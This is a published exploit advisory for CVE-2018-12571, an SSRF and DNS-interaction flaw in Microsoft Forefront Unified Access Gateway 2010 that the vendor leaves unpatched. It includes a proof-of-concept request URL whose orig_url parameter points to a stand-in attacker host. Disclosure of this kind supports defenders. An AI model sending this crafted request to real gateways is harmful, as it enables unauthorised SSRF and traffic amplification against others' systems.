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Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction

Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction
Posted Jul 2, 2018
Authored by Okan Coskun

Microsoft Forefront Unified Access Gateway 2010 allows remote attackers to trigger outbound DNS queries for arbitrary hosts via a comma-separated list of URLs in the orig_url parameter, possibly causing a traffic amplification and/or SSRF outcome.

tags | exploit, remote, arbitrary
advisories | CVE-2018-12571
MD5 | 7c32094ad0851d110b5ec08cfce5b793

Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction

Change Mirror Download
# Exploit Title: Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction
# Vendor Homepage: https://www.microsoft.com/
# Version: 2010
# CVE : CVE-2018-12571
# Proof of Concept #1

Microsoft Forefront Unified Access Gateway 2010 allows remote attackers to
trigger outbound DNS queries for arbitrary hosts via a comma-separated list
of URLs in the orig_url parameter, possibly causing a traffic amplification
and/or SSRF outcome.

/uniquesig697e96fe58e5694d9b118768d8189a4c/uniquesig0/InternalSite/InitParams.aspx?referrer=/InternalSite/StartApp.asp&resource%5Fid=8B92B86E36904E2FA83C890F8C864A50&login%5Ftype=0&site%5Fname=test&secure=0&URLHASH=47c74c53%2Dfaae%2D41ae%2D89f1%2D1eb6eff34091&*orig%5Furl=http%3A%2F%2FATTACKER.SITE.COM
<http://2FATTACKER.SITE.COM>%2Ftest*

# Fixes

It will not be patched by Microsoft.

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